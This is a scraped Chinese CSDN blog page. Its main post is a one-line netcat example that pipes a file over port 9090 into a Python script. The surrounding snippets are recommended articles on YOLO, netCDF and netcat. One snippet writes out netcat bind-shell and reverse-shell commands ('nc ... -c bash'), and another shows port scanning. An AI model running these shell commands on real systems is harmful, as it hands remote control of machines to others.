nc + cat + py

最新推荐文章于 2025-03-04 13:26:40 发布
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分类专栏： python
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本文链接：https://blog.youkuaiyun.com/lpy123456/article/details/9350651
博客展示了网络命令与Python脚本结合的内容，包含使用cat、nc命令进行数据传输，以及将nc接收的数据通过管道传递给Python脚本test.py执行。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

cat a | nc -l -p 9090 nc localhost 9090 | python test.py
【YOLOv8十万长文优化】独家魔改优化技巧+附20余个源码手把手教程
cv君的博客
08-01 2万+
【YOLOv8十万长文全解】v8 v9通用。独家魔改优化技巧+附20余个源码手把手教程; Hello，大家好，我是cv君，最近开始在空闲之余，经常更新文章啦！除目标检测、分类、分隔、姿态估计等任务外，还会涵盖图像增强领域，如超分辨率、画质增强、降噪、夜视增强、去雾去雨、ISP、海思高通成像ISP等、AI-ISP、还会有多模态、文本nlp领域、视觉语言大模型、lora、chatgpt等理论与实践文章更新，更新将变成一周2-3更，一个月争取10篇，重回创作巅峰
【YOLOv8改进[CONV]】SPDConv助力YOLOv8目标检测效果 + 含全部代码和详细修改方式 + 手撕结构图
静谧、淡雅
06-06 1292
SPDConv助力YOLOv8目标检测效果 + 含全部代码和详细修改方式 + 手撕结构图
nc使用方法
weixin_30333885的博客
04-19 287
1)连接到REMOTE主机，例子： 格式：nc -nvv 192.168.x.x 80 讲解：连到192.168.x.x的TCP80端口 2)监听LOCAL主机，例子： 格式：nc -l -p 80 讲解：监听本机的TCP80端口 3)扫描远程主机，例子： 格式：nc -nvv -w2 -z 192.168.x.x 80-445 讲解：扫描192.168.x.x的TCP...
使用 python 处理 nc 数据
weixin_30663391的博客
05-21 6739
前言 这两天帮一个朋友处理了些 nc 数据，本以为很简单的事情，没想到里面涉及到了很多的细节和坑，无论是“知难行易”还是“知易行难”都不能充分的说明问题，还是“知行合一”来的更靠谱些，既要知道理论又要知道如何实现，于是经过不太充分的研究后总结成此文，以记录如何使用 python 处理 nc 数据。 一、nc 数据介绍 nc 全称 netCDF（The Network Common Data For...
nc用法2，使用nc传输文件和目录
热门推荐
mtj66的博客，交流WX:SpringBreeze1104
07-11 7万+
方法1，传输文件演示（先启动接收命令） 使用nc传输文件还是比较方便的，因为不用scp和rsync那种输入密码的操作了 把A机器上的一个rpm文件发送到B机器上 需注意操作次序，receiver先侦听端口，sender向receiver所在机器的该端口发送数据。     步骤1，先在B机器上启动一个接收文件的监听，格式如下 意思是把赖在9995端口接收到的数据都写到file文件里（这里
grads 批量处理nc文件
chht的专栏
01-25 7796
若想要提取从1951-2006年56年nc文件中的某些数据，一个一个处理非常麻烦，这里介绍种较为简易的方法。例如想提取6-8月的位势高度资料。reinitt5=1951*作文件名循环while(t5 set gxout fwrite set fwrite D:/sichuan/hgt1/%t5%.dat sdfopen e:/ncep1/hgt/hgt
yolov8+SENet
weixin_42875510的博客
01-17 1168
3 打开yolov8中的task.py文件，路径：ultralytics/ultralytics/nn/tasks.py ，找到如下代码，把SE加入进去。1 在路径打开 yolov8中的conv.py文件，路径如下：ultralytics/ultralytics/nn/modules/conv.py。7 进入目录ultralytics,输入python train.py,开始训练了。4 打开_init_.py文件，把SE添加进去。2 仍然在此文件下添加如下内容。
基于RK3588上部署yolov5s模型源码(实时摄像头检测)+部署说明文档.zip
07-24
- 将`models/yolo.py`文件中的`class`类下的`forward`函数由： ```python def forward(self, x): z = [] # inference output for i in range(self.nl): x[i] = self.m[i](x[i]) # conv bs, _, ny, nx = x[i]....
YOLOV5代码精读之val.py
浩瀚之水的专栏
09-30 2211
这段代码的主要功能是执行不同的任务（训练、验证、测试、速度基准测试和研究）以评估YOLOv5模型。它根据用户的输入选项进行适当的环境检查、任务执行和结果记录。此代码不仅确保模型的运行符合预期，还提供了警告以避免常见的错误配置（如置信度阈值过高等），并支持结果的高效管理与评估。该函数run的主要功能是执行模型的推理，评估和结果记录。它支持来自 YOLOv5 系列模型的各种输入配置，并根据不同的任务（如验证、测试等）灵活处理数据。
【YOLO12全网首发】训练+测试行人摔倒
向上生长的程序媛的博客
03-04 2266
YOLOv12训练自己的数据集，含Python代码。
瑞士军刀之nc命令------强大的网络命令工具
认知 行动 坚持
02-02 1万+
csdn的自动审核机制居然认为我这篇文章有敏感词， 很纳闷，还禁止我登录。好在联系他们后， 又能让我正常登录了， 我是大大的csdn良民啊。把原文用图片（3张图片）的形式发表出来， 免得用文字发表又中了他们的逻辑。 原来文章是：...
NC——远程控制（加部分思路）
zdzzdz123123的博客
02-01 1807
上一篇文章讲了nc的传输功能，这一篇讲一下nc的远程控制功能 控制方法 （正向） 主机A ：nc -lp 333 -c bash 主机B : nc -nv 192.168.31.113 注释： 主机A侦听333端口 并将自己的shell 交给通过该端口连接的主机 （反向） 主机A: nc -lp 333 主机B：nc -nv 192.168.31.113 333 -c bash 注释 ：主机A侦听...
提取nc资料的逐月数据[grads]
11-05 3424
**原帖地址http://bbs.06climate.com/forum.php?mod=viewthread&tid=20302 **我还在尝试搞清楚出来的grd在matlab里怎么排布。。。想不明白0 0! 'reinit' *先设置各月的名称 mon.1=Jan;mon.2=Feb;mon.3=Mar;mon.4=Apr;mon.5=May;mon.6=Jun; mon.7=Jul;mon
批量处理NC数据
qq_37777018的博客
06-05 1万+
NetCDF全称为network Common Data Format，中文译法为“网络通用数据格式”，是一个多自变量的单值函数。目前很多数据以nc格式存储，这里从gis角度 ，分别使用Arcgis、IDL批量处理。基础了解见http://blog.renren.com/share/242186498/4248540111 1、将NetCDF文件批量导出为tiff文件： 打开Arcmap—
python 不是内部或外部命令
epic2005
02-27 2万+
现在我假设你的python安装在C:\Python25目录下，设置环境变量方法如下：   方法一、我的电脑->属性->高级->环境变量->系统变量   在系统变量里找到PATH，双击PATH，在结尾加上 ";C:\Python25"(不要引号)   方法二、运行->cmd   输入set PATH=%PATH%;C:\Python25   接下来，再在当前的 cmd下输入py
win下python requests 模块安装
epic2005
03-07 6288
requests 0.10.6 下载地址:  http://pypi.python.org/pypi/requests/0.10.6#downloads 安装命令: python setup.py install
Python 技术博客
epic2005
05-05 2557
<br />limodou 的 Blog<br />Uliweb、Ulipad 作者，python-cn 邮件列表大妈，Python 中文社区骨灰级人物！Smallfish 鱼哥<br />国内资深玩蛇人士，熟练民工BT 的花<br />qyb 兄弟俩的 blog铁骑世界<br />Google 信徒，nexus one玩家，重度网瘾精神病患者，已无药可救。SL4A项目天朝布道者。现浪迹于广州。[ Dualan____Moyan ]<br />Python,Linux,开源,经济,篮球皆是我的爱(玩 Bot
yolov5代码 yolo.py
最新发布
04-01
return torch.cat([x[..., ::2, ::2], x[..., 1::2, ::2], x[..., ::2, 1::2], x[..., 1::2, 1::2]], 1) ``` - **Conv模块**：标准卷积+批归一化+激活函数 ```python class Conv(nn.Module): def __init__...
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